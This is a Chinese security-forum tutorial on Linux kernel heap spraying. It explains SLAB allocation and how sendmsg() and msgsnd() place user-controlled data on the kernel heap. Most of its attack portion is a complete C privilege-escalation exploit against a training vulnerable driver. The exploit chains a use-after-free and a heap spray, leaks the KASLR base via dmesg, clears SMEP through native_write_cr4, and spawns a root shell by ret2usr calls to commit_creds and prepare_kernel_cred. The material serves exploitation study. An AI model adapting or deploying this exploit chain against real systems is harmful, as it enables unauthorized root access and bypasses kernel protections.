Linux内核堆喷(Linux Kernel Heap Spray)

  • A+
所属分类:安全闲碎
Linux内核堆喷(Linux Kernel Heap Spray)
本文为看雪论优秀文章
看雪论坛作者ID:ScUpax0s



基于:vulnerable_linux_drive(类似windows著名的的HEVD)
 
驱动地址:https://github.com/invictus-0x90/vulnerable_linux_driver



Linux内核堆喷(Linux Kernel Heap Spray)

What is Linux Kernel Heap Spray?

Linux内核堆喷(Linux Kernel Heap Spray)

将Shellcode与大量的slide code(滑板指令)相组合,组成一整个注入代码 段 ,然后向系统申请大量的内存空间,并反复用注入代码段填充,然后将程序执行流劫持到内核堆上,使得程序慢慢“滑”向SHellcode。
 
Slide code一般使用:
 
1. NOP指令(x90)
2. x0c 
3. x0d
 
他们均不会影响shellcode的执行。


Linux内核堆喷(Linux Kernel Heap Spray)

Basic linux kernel memory management

Linux内核堆喷(Linux Kernel Heap Spray)


Intro to SLAB


SLAB作为用户linux系统内核对于小对象的高速cache。
 
cat /proc/slabinfo 可以查看当前 slab 对象的分配情况。
 
如:
Acpi-Namespace 7854 7854 40 102 1 : tunables 0 0 0 : slabdata 77 77 0numa_policy 186 186 264 62 4 : tunables 0 0 0 : slabdata 3 3 0trace_event_file 1426 1426 88 46 1 : tunables 0 0 0 : slabdata 31 31 0ftrace_event_field 3400 3400 48 85 1 : tunables 0 0 0 : slabdata 40 40 0radix_tree_node 13694 15848 584 56 8 : tunables 0 0 0 : slabdata 283 283 0task_group 168 168 576 56 8 : tunables 0 0 0 : slabdata 3 3 0dma-kmalloc-8192 0 0 8192 4 8 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-4096 0 0 4096 8 8 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-2048 0 0 2048 16 8 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-1024 0 0 1024 32 8 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-512 64 64 512 64 8 : tunables 0 0 0 : slabdata 1 1 0dma-kmalloc-256 0 0 256 64 4 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-128 0 0 128 64 2 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-64 0 0 64 64 1 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-32 0 0 32 128 1 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-16 0 0 16 256 1 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-8 0 0 8 512 1 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-192 0 0 192 42 2 : tunables 0 0 0 : slabdata 0 0 0dma-kmalloc-96 0 0 96 42 1 : tunables 0 0 0 : slabdata 0 0 0kmalloc-8192 410 420 8192 4 8 : tunables 0 0 0 : slabdata 105 105 0kmalloc-4096 342 360 4096 8 8 : tunables 0 0 0 : slabdata 45 45 0kmalloc-2048 2478 2528 2048 16 8 : tunables 0 0 0 : slabdata 158 158 0kmalloc-1024 5980 6304 1024 32 8 : tunables 0 0 0 : slabdata 197 197 0kmalloc-512 41282 41792 512 64 8 : tunables 0 0 0 : slabdata 653 653 0kmalloc-256 7786 8000 256 64 4 : tunables 0 0 0 : slabdata 125 125 0kmalloc-192 6174 6174 192 42 2 : tunables 0 0 0 : slabdata 147 147 0kmalloc-128 2240 2240 128 64 2 : tunables 0 0 0 : slabdata 35 35 0kmalloc-96 7455 9786 96 42 1 : tunables 0 0 0 : slabdata 233 233 0kmalloc-64 23669 24192 64 64 1 : tunables 0 0 0 : slabdata 378 378 0kmalloc-32 31701 32640 32 128 1 : tunables 0 0 0 : slabdata 255 255 0kmalloc-16 13568 13568 16 256 1 : tunables 0 0 0 : slabdata 53 53 0kmalloc-8 12288 12288 8 512 1 : tunables 0 0 0 : slabdata 24 24 0kmem_cache_node 1920 1920 64 64 1 : tunables 0 0 0 : slabdata 30 30 0kmem_cache 1890 1890 384 42 4 : tunables 0 0 0 : slabdata 45 45 0

其中 kmalloc-8 代表:首先,他是一个普通的(非专用slab),里面的对象都是8B,当你申请1到8B时会从这里给你返回一个cache对象,当你kfree掉他时,这个free_cache会回到kmalloc-8的SLAB里面。(类比用户态有点像一个本身就有chunk的fastbin?)
 
与用户态相似的,当free掉一个SLAB对象时,仅仅是标free,并且slab优先分配最后被free的对象。
 
而slab对象受到 kmem_cache 的管理(比如说kmalloc-8)。
 
其管理层级结构如下:
Linux内核堆喷(Linux Kernel Heap Spray)
并且用户可以通过:kmem_cache_create 创建一个自己的 kmem_cache 数据结构。



Linux内核堆喷(Linux Kernel Heap Spray)

How to trigger Kernel heap spray?

Linux内核堆喷(Linux Kernel Heap Spray)


Using sendmsg()


函数原型:
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address, unsigned int allowed_msghdr_flags)

主要用于发送消息到另一个套接字,比如:在不同的进程之间传递文件描述符(file descriptor)
 
源码如下 :
struct msghdr { void *msg_name; /* ptr to socket address structure */ int msg_namelen; /* size of socket address structure */ struct iov_iter msg_iter; /* data */ void *msg_control; /* ancillary data */ __kernel_size_t msg_controllen; /* ancillary data buffer length */ unsigned int msg_flags; /* flags on received message */ struct kiocb *msg_iocb; /* ptr to iocb for async requests */};

https://elixir.bootlin.com/linux/v4.4.31/source/net/socket.c
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address){ struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct sockaddr_storage address; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20] __attribute__ ((aligned(sizeof(__kernel_size_t)))); //在栈上开44字节 /* 20 is size of ipv6_pktinfo */ unsigned char *ctl_buf = ctl; //ctl_buf指向ctl. int ctl_len; ssize_t err;
msg_sys->msg_name = &address;
if (MSG_CMSG_COMPAT & flags) err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov); else err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); //这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys if (err < 0) return err;
err = -ENOBUFS;
if (msg_sys->msg_controllen > INT_MAX) // goto out_freeiov; ctl_len = msg_sys->msg_controllen; //当msg_sys->msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys->msg_controllen() if ((MSG_CMSG_COMPAT & flags) && ctl_len) { err = cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl, sizeof(ctl)); if (err) goto out_freeiov; ctl_buf = msg_sys->msg_control; ctl_len = msg_sys->msg_controllen; } else if (ctl_len) { if (ctl_len > sizeof(ctl)) { //当ctl_len>ctl(44字节)时 ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); //调用kmalloc 分配 ctl_len 大小的堆块 if (ctl_buf == NULL) goto out_freeiov; } err = -EFAULT; /* * Careful! Before this, msg_sys->msg_control contains a user pointer. * Afterwards, it will be a kernel pointer. Thus the compiler-assisted * checking falls down on this. */ if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len)) //这里使用copy_from_user将用户态的msg_sys->msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控 goto out_freectl; msg_sys->msg_control = ctl_buf; } msg_sys->msg_flags = flags;
......
}


DEMO

#define _GNU_SOURCE#include <sys/socket.h>#include <netinet/in.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>#include "/root/vulnerable_linux_driver/src/vuln_driver.h"#define SIZE 84
int main(){ char buf[SIZE]; struct msghdr msgh = {0}; struct sockaddr_in addr = {0}; int sockfd = socket(AF_INET, SOCK_DGRAM, 0); int fd = open("/dev/vulnerable_device",O_RDWR); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_INET; addr.sin_port = htons(6666);
// filled with 0x61 'a' memset(buf,0x61,sizeof(buf)); // set user space buf(msg header) msgh.msg_control = buf; msgh.msg_controllen = SIZE; msgh.msg_name = (caddr_t)&addr; msgh.msg_namelen = sizeof(addr);
// trigger UAF ioctl(fd,ALLOC_UAF_OBJ,NULL); //alloc_uaf_obj ioctl(fd,FREE_UAF_OBJ,NULL); //free uaf obj
/* Heap spray */ for(int i = 0; i < 100000; i++) { sendmsg(sockfd, &msgh, 0); }

/* Trigger */ ioctl(fd, USE_UAF_OBJ, NULL);


return 0;}

首先做一次UAF,然后练习100000调用sendmsg,参数中的msgh是我们用户态的东西。

Linux内核堆喷(Linux Kernel Heap Spray)

将user space的controllen大小(84)赋值给ctl_len。

Linux内核堆喷(Linux Kernel Heap Spray)

检测到大于0x44,重新调用kmalloc从专用SLAB中开内存
Linux内核堆喷(Linux Kernel Heap Spray)
最后把用户态的内容拷贝到内核中。ctl_buf是kmalloc出的。

之后多次调用,完成大量申请空间并填充。

Linux内核堆喷(Linux Kernel Heap Spray)

可以看到程序的执行流流向了我们填充的0x61,至此,堆喷成功。

Using msgsnd()


源码:
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg){ long mtype;
if (get_user(mtype, &msgp->mtype)) return -EFAULT; return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);}

long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg){ struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns;
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL;
msg = load_msg(mtext, msgsz); .......
struct msg_msg *load_msg(const void __user *src, size_t len){ struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen;
msg = alloc_msg(len); //先创建一个msg_msg结构体,根据用户态的参数。msg_msg结构体大小等于0x30 if (msg == NULL) return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1, src, alen)) //然后把用户态的内容拷贝过去 goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) goto out_err; }
err = security_msg_msg_alloc(msg); if (err) goto out_err;
return msg;
out_err: free_msg(msg); return ERR_PTR(err);}
static struct msg_msg *alloc_msg(size_t len){ struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen;
alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL); if (msg == NULL) return NULL;
msg->next = NULL; msg->security = NULL;
len -= alen; pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg; alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL); if (seg == NULL) goto out_err; *pseg = seg; seg->next = NULL; pseg = &seg->next; len -= alen; }
return msg;
out_err: free_msg(msg); return NULL;}

msg_msg结构如下:
/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */};

所以我们不能控制前0x30,并且消息越大,越容易阻塞。

The second drawback, which is commented in my code, is that the larger the message, the fewer messages we can send before the process blocks. I presume this wouldn’t occur if I had another process calling msgrcv and taking messages out of the queue, but for now 120 allocations was enough.



Linux内核堆喷(Linux Kernel Heap Spray)

漏洞利用

Linux内核堆喷(Linux Kernel Heap Spray)


主要使用UAF漏洞配合Kernel heap spray来bypass smep和kalsr实现提权。
 
内核版本:4.4.31
 
缓解措施:kaslr + smep
 
利用过程:
 
1. 首先在子进程中堆喷触发page fault,利用dmesg泄露加载基地址。
 
2. 利用 native_write_cr4 将cr4第21位设置成0,整个cr4为0x6f0。
 
3. 关闭smep、smap后直接ret2usr起root shell。
 
exp如下:
#define _GNU_SOURCE#include <sys/mman.h>#include <sys/wait.h>#include <unistd.h>#include <string.h>#include <stdlib.h>#include <arpa/inet.h>#include <sys/stat.h>#include <fcntl.h>#include <sched.h>#include <sys/ioctl.h>#include <sys/types.h>#include <stdio.h>#include <sys/ipc.h>#include <sys/msg.h>
#include <sys/socket.h>#include <sys/syscall.h>#include <linux/if_packet.h>#include <linux/if_ether.h>#include <linux/if_arp.h>#include "/root/vulnerable_linux_driver/src/vuln_driver.h"#define PATH "/dev/vulnerable_device"#define SIZE 96#define BASE 0xffffffff81000000
size_t base;
size_t SyS_ioctl_offset = 0xffffffff81218d40-0xffffffff81000000;
size_t native_write_cr4 = 0xffffffff81063570-BASE;
size_t commit_creds = 0xffffffff810a1380-BASE;
size_t prepare_kernel_cred = 0xffffffff810a1770-BASE;
size_t my_cr4 = 0x6f0;typedef struct uaf_obj{ char uaf_first_buff[56]; long arg; // [+56] void (*fn)(long); // [+56+sizeof(long)]
char uaf_second_buff[12];
}uaf_obj;
void set_cpu_affinity(){ cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(0,&mask); if (sched_setaffinity(0,sizeof(mask),&mask)) puts("set single CPU failed"); return;}
int heap_spray(int fd,size_t fn,size_t arg){ char buf[SIZE]; struct msghdr msgh = {0}; struct sockaddr_in addr = {0}; int sockfd = socket(AF_INET, SOCK_DGRAM, 0); //int fd = open("/dev/vulnerable_device",O_RDWR); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_INET; addr.sin_port = htons(6666);
// set uaf_obj memset(buf,0x61,sizeof(buf)); memcpy(buf+56,&arg,sizeof(size_t)); // arg memcpy(buf+56+sizeof(size_t), &fn, sizeof(size_t)); //call back addr // set user space buf(msg header) msgh.msg_control = buf; msgh.msg_controllen = SIZE; msgh.msg_name = (caddr_t)&addr; msgh.msg_namelen = sizeof(addr);
// trigger UAF ioctl(fd,ALLOC_UAF_OBJ,NULL); //alloc_uaf_obj ioctl(fd,FREE_UAF_OBJ,NULL); //free uaf obj
/* Heap spray */ for(int i = 0; i < 100000; i++) { sendmsg(sockfd, &msgh, 0); }

/* Trigger */ ioctl(fd, USE_UAF_OBJ, NULL); return 0;}

void trigger_page_fault(int fd){ //int fd = open(PATH,O_RDWR); size_t fn = 0xDEADBEEFdeadbeef; //invaild address size_t arg = 0xdeadbeefdeadbeef; heap_spray(fd,fn,arg); return;}size_t leak_base(){ FILE *f; size_t info; system("dmesg | tail | grep SyS_ioctl | cut -b 19-34 > /tmp/leak"); f = fopen("/tmp/leak","r"); fscanf(f,"%lx",&info); printf("[*]success:0x%lxn",info); fclose(f); return info;}void ret2usr(){ char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0));}int main(){ int fd = open(PATH,O_RDWR);
set_cpu_affinity();
pid_t pid=fork(); int end;
// fork a new process to trigger page fault if(pid==0){ trigger_page_fault(fd); exit(0);} wait(&end); // wait for child process exit(0)
// get aslr base base = leak_base()-0x79-SyS_ioctl_offset; printf("[*]success leak base:0x%lxn",base);
commit_creds = base + commit_creds; prepare_kernel_cred = base + prepare_kernel_cred; native_write_cr4 = base + native_write_cr4;
//利用堆喷关闭smep heap_spray(fd,native_write_cr4,my_cr4); //直接ret2usr heap_spray(fd,ret2usr,0);
if(getuid()==0){
printf("[*] Welcome to root!n"); system("/bin/shx00");
} close(fd); return 0;
}

效果:

Linux内核堆喷(Linux Kernel Heap Spray)


参考

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/
https://fivezh.github.io/2017/06/25/Linux-slab-info/[图解slub]
http://www.wowotech.net/memory_management/426.html
http://www.secretmango.com/jimb/Whitepapers/slabs/slab.html
https://www.cnblogs.com/lojunren/p/3865232.html




Linux内核堆喷(Linux Kernel Heap Spray)

- End -


Linux内核堆喷(Linux Kernel Heap Spray)


看雪ID:ScUpax0s

https://bbs.pediy.com/user-home-873515.htm

 

 *本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区。




# 往期推荐






Linux内核堆喷(Linux Kernel Heap Spray)
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



Linux内核堆喷(Linux Kernel Heap Spray)

球分享

Linux内核堆喷(Linux Kernel Heap Spray)

球点赞

Linux内核堆喷(Linux Kernel Heap Spray)

球在看



Linux内核堆喷(Linux Kernel Heap Spray)

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):Linux内核堆喷(Linux Kernel Heap Spray)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: